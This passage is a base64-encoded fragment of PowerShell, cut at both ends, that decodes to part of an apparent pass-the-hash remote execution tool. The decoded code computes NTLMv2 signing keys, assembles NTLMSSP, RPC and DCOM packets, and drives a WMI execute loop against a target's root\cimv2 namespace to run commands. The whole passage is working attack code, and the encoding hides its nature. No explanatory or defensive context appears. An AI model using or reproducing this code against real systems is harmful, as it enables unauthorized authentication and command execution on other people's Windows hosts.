ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDIwLDB4NmQsMHg2MSwweDY3LDB4NjksMHg2MywweDIwLDB4NjMsMHg2ZiwweDZlLDB4NzMsMHg3NCwweDYxLDB4NmUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg3NCwweDAwDQoNCiAgICAgICAgICAgICRNRDUgPSBOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5Lk1ENUNyeXB0b1NlcnZpY2VQcm92aWRlcg0KICAgICAgICAgICAgJGNsaWVudF9zaWduaW5nX2tleSA9ICRNRDUuQ29tcHV0ZUhhc2goJHNlc3Npb25fYmFzZV9rZXkgKyAkY2xpZW50X3NpZ25pbmdfY29uc3RhbnQpDQogICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlID0gJE5UTE12Ml9yZXNwb25zZSArICRzZWN1cml0eV9ibG9iX2J5dGVzDQogICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJE5UTE12Ml9yZXNwb25zZS5MZW5ndGgpDQogICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCA9ICROVExNdjJfcmVzcG9uc2VfbGVuZ3RoWzAsMV0NCiAgICAgICAgICAgICRXTUlfc2Vzc2lvbl9rZXlfb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgJGF1dGhfaG9zdG5hbWVfYnl0ZXMuTGVuZ3RoICsgJE5UTE12Ml9yZXNwb25zZS5MZW5ndGggKyA4OCkNCiAgICAgICAgICAgICRXTUlfc2Vzc2lvbl9rZXlfbGVuZ3RoID0gMHgwMCwweDAwDQogICAgICAgICAgICAkV01JX25lZ290aWF0ZV9mbGFncyA9IDB4MTUsMHg4MiwweDg4LDB4YTINCg0KICAgICAgICAgICAgJE5UTE1TU1BfcmVzcG9uc2UgPSAweDRlLDB4NTQsMHg0YywweDRkLDB4NTMsMHg1MywweDUwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAzLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgxOCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgxOCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX0xNX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9OVExNX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2RvbWFpbl9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfZG9tYWluX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF91c2VybmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3Nlc3Npb25fa2V5X2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3Nlc3Npb25fa2V5X2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3Nlc3Npb25fa2V5X29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX25lZ290aWF0ZV9mbGFncyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROVExNdjJfcmVzcG9uc2UNCg0KICAgICAgICAgICAgJEhNQUNfTUQ1LmtleSA9ICRjbGllbnRfc2lnbmluZ19rZXkNCiAgICAgICAgICAgIFtCeXRlW11dJHNlcXVlbmNlX251bWJlciA9IDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICRwYWNrZXRfUlBDID0gR2V0LVBhY2tldFJQQ0FVVEgzICROVExNU1NQX3Jlc3BvbnNlDQogICAgICAgICAgICAkcGFja2V0X1JQQ1siUlBDQVVUSDNfQ2FsbElEIl0gPSAweDAyLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAkcGFja2V0X1JQQ1siUlBDQVVUSDNfQXV0aExldmVsIl0gPSAweDA0DQogICAgICAgICAgICAkUlBDID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUEMNCiAgICAgICAgICAgICRXTUlfY2xpZW50X3NlbmQgPSAkUlBDDQogICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uV3JpdGUoJFdNSV9jbGllbnRfc2VuZCwwLCRXTUlfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDUmVxdWVzdCAweDgzIDc2IDE2IDQgMHgwMiwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwMywweDAwICRvYmplY3RfVVVJRA0KICAgICAgICAgICAgJHBhY2tldF9yZW1fcXVlcnlfaW50ZXJmYWNlID0gR2V0LVBhY2tldERDT01SZW1RdWVyeUludGVyZmFjZSAkY2F1c2FsaXR5X0lEX2J5dGVzICRJUElEIDB4ZDYsMHgxYywweDc4LDB4ZDQsMHhkMywweGU1LDB4ZGYsMHg0NCwweGFkLDB4OTQsMHg5MywweDBlLDB4ZmUsMHg0OCwweGE4LDB4ODcNCiAgICAgICAgICAgICRwYWNrZXRfTlRMTVNTUF92ZXJpZmllciA9IEdldC1QYWNrZXROVExNU1NQVmVyaWZpZXIgNCAweDA0ICRzZXF1ZW5jZV9udW1iZXINCiAgICAgICAgICAgICRSUEMgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQw0KICAgICAgICAgICAgJHJlbV9xdWVyeV9pbnRlcmZhY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X3JlbV9xdWVyeV9pbnRlcmZhY2UNCiAgICAgICAgICAgICROVExNU1NQX3ZlcmlmaWVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OVExNU1NQX3ZlcmlmaWVyDQogICAgICAgICAgICAkSE1BQ19NRDUua2V5ID0gJGNsaWVudF9zaWduaW5nX2tleQ0KICAgICAgICAgICAgJFJQQ19zaWduYXR1cmUgPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJHNlcXVlbmNlX251bWJlciArICRSUEMgKyAkcmVtX3F1ZXJ5X2ludGVyZmFjZSArICROVExNU1NQX3ZlcmlmaWVyWzAuLjExXSkNCiAgICAgICAgICAgICRSUENfc2lnbmF0dXJlID0gJFJQQ19zaWduYXR1cmVbMC4uN10NCiAgICAgICAgICAgICRwYWNrZXRfTlRMTVNTUF92ZXJpZmllclsiTlRMTVNTUFZlcmlmaWVyX05UTE1TU1BWZXJpZmllckNoZWNrc3VtIl0gPSAkUlBDX3NpZ25hdHVyZQ0KICAgICAgICAgICAgJE5UTE1TU1BfdmVyaWZpZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05UTE1TU1BfdmVyaWZpZXINCiAgICAgICAgICAgICRXTUlfY2xpZW50X3NlbmQgPSAkUlBDICsgJHJlbV9xdWVyeV9pbnRlcmZhY2UgKyAkTlRMTVNTUF92ZXJpZmllcg0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uUmVhZCgkV01JX2NsaWVudF9yZWNlaXZlLDAsJFdNSV9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlID0gJ2V4aXQnDQoNCiAgICAgICAgICAgIGlmKCRXTUlfY2xpZW50X3JlY2VpdmVbMl0gLWVxIDMgLWFuZCBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmVbMjQuLjI3XSkgLWVxICcwNS0wMC0wMC0wMCcpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICIkb3V0cHV0X3VzZXJuYW1lIFdNSSBhY2Nlc3MgZGVuaWVkIG9uICR0YXJnZXRfbG9uZyIgICANCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZigkV01JX2NsaWVudF9yZWNlaXZlWzJdIC1lcSAzKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRlcnJvcl9jb2RlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkV01JX2NsaWVudF9yZWNlaXZlWzI3Li4yNF0pDQogICAgICAgICAgICAgICAgJGVycm9yX2NvZGUgPSAkZXJyb3JfY29kZSAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIkZhaWxlZCB3aXRoIGVycm9yIGNvZGUgMHgkZXJyb3JfY29kZSINCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZigkV01JX2NsaWVudF9yZWNlaXZlWzJdIC1lcSAyKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRXTUlfZGF0YSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFdNSV9jbGllbnRfcmVjZWl2ZSkNCiAgICAgICAgICAgICAgICAkV01JX2RhdGEgPSAkV01JX2RhdGEgLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAgICAgJE9YSURfaW5kZXggPSAkV01JX2RhdGEuSW5kZXhPZigkT1hJRCkNCiAgICAgICAgICAgICAgICAkT1hJRF9ieXRlc19pbmRleCA9ICRPWElEX2luZGV4IC8gMg0KICAgICAgICAgICAgICAgICRvYmplY3RfVVVJRDIgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkT1hJRF9ieXRlc19pbmRleCArIDE2KS4uKCRPWElEX2J5dGVzX2luZGV4ICsgMzEpXQ0KICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlID0gJ0FsdGVyQ29udGV4dCcNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIlNvbWV0aGluZyB3ZW50IHdyb25nIg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBXcml0ZS1WZXJib3NlICJBdHRlbXB0aW5nIGNvbW1hbmQgZXhlY3V0aW9uIg0KICAgICAgICAgICAgJHJlcXVlc3Rfc3BsaXRfaW5kZXggPSA1NTAwDQoNCiAgICAgICAgICAgIDpXTUlfZXhlY3V0ZV9sb29wIHdoaWxlICgkV01JX2NsaWVudF9zdGFnZSAtbmUgJ2V4aXQnKQ0KICAgICAgICAgICAgew0KDQogICAgICAgICAgICAgICAgaWYoJFdNSV9jbGllbnRfcmVjZWl2ZVsyXSAtZXEgMykNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRlcnJvcl9jb2RlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkV01JX2NsaWVudF9yZWNlaXZlWzI3Li4yNF0pDQogICAgICAgICAgICAgICAgICAgICRlcnJvcl9jb2RlID0gJGVycm9yX2NvZGUgLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiRmFpbGVkIHdpdGggZXJyb3IgY29kZSAweCRlcnJvcl9jb2RlIg0KICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZSA9ICdleGl0Jw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHN3aXRjaCAoJFdNSV9jbGllbnRfc3RhZ2UpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdBbHRlckNvbnRleHQnDQogICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkc2VxdWVuY2VfbnVtYmVyWzBdKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsdGVyX2NvbnRleHRfY2FsbF9JRCA9IDB4MDMsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsdGVyX2NvbnRleHRfY29udGV4dF9JRCA9IDB4MDIsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWx0ZXJfY29udGV4dF9VVUlEID0gMHhkNiwweDFjLDB4NzgsMHhkNCwweGQzLDB4ZTUsMHhkZiwweDQ0LDB4YWQsMHg5NCwweDkzLDB4MGUsMHhmZSwweDQ4LDB4YTgsMHg4Nw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1JlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsdGVyX2NvbnRleHRfY2FsbF9JRCA9IDB4MDQsMHgwMCwweDAwLDB4MDAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhbHRlcl9jb250ZXh0X2NvbnRleHRfSUQgPSAweDAzLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsdGVyX2NvbnRleHRfVVVJRCA9IDB4MTgsMHhhZCwweDA5LDB4ZjMsMHg2YSwweGQ4LDB4ZDAsMHgxMSwweGEwLDB4NzUsMHgwMCwweGMwLDB4NGYsMHhiNiwweDg4LDB4MjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDYNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhbHRlcl9jb250ZXh0X2NhbGxfSUQgPSAweDA5LDB4MDAsMHgwMCwweDAwIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWx0ZXJfY29udGV4dF9jb250ZXh0X0lEID0gMHgwNCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhbHRlcl9jb250ZXh0X1VVSUQgPSAweDk5LDB4ZGMsMHg1NiwweDk1LDB4OGMsMHg4MiwweGNmLDB4MTEsMHhhMywweDdlLDB4MDAsMHhhYSwweDAwLDB4MzIsMHg0MCwweGM3DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlX25leHQgPSAnUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDQWx0ZXJDb250ZXh0ICRhc3NvY19ncm91cCAkYWx0ZXJfY29udGV4dF9jYWxsX0lEICRhbHRlcl9jb250ZXh0X2NvbnRleHRfSUQgJGFsdGVyX2NvbnRleHRfVVVJRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQyA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDDQogICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zZW5kID0gJFJQQw0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uUmVhZCgkV01JX2NsaWVudF9yZWNlaXZlLDAsJFdNSV9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlID0gJFdNSV9jbGllbnRfc3RhZ2VfbmV4dA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ1JlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X3NwbGl0ID0gJGZhbHNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCAoJHNlcXVlbmNlX251bWJlclswXSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXIgPSAweDAxLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2ZsYWdzID0gMHg4Mw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9hdXRoX3BhZGRpbmcgPSAxMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwMywweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwMiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwMywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkb2JqZWN0X1VVSUQyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRob3N0bmFtZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2hvc3RuYW1lLkxlbmd0aCArIDEpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlX25leHQgPSAnQWx0ZXJDb250ZXh0Jw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtCb29sXSgkYXV0aF9ob3N0bmFtZS5MZW5ndGggJSAyKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgKz0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9ieXRlcyArPSAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gMHgwNSwweDAwLDB4MDcsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAgKyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjYXVzYWxpdHlfSURfYnl0ZXMgKyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDIsMHgwMCArIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3RuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRob3N0bmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHByb2Nlc3NfSURfYnl0ZXMgKyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAxDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gMHgwMiwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gOA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwNCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwMywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwMywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkSVBJRA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1JlcXVlc3QnDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfZGF0YSA9IDB4MDUsMHgwMCwweDA3LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwICsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2F1c2FsaXR5X0lEX2J5dGVzICsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNlcXVlbmNlX251bWJlciA9IDB4MDMsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfZmxhZ3MgPSAweDgzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2F1dGhfcGFkZGluZyA9IDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfY2FsbF9JRCA9IDB4MDUsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfY29udGV4dF9JRCA9IDB4MDMsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9vcG51bSA9IDB4MDYsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9VVUlEID0gJElQSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kV01JX25hbWVzcGFjZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCR0YXJnZXRfc2hvcnQuTGVuZ3RoICsgMTQpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFdNSV9uYW1lc3BhY2VfdW5pY29kZSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoIlxcJHRhcmdldF9zaG9ydFxyb290XGNpbXYyIikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtCb29sXSgkdGFyZ2V0X3Nob3J0Lkxlbmd0aCAlIDIpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX25hbWVzcGFjZV91bmljb2RlICs9IDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfbmFtZXNwYWNlX3VuaWNvZGUgKz0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gMHgwNSwweDAwLDB4MDcsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhdXNhbGl0eV9JRF9ieXRlcyArDQogICAgICAg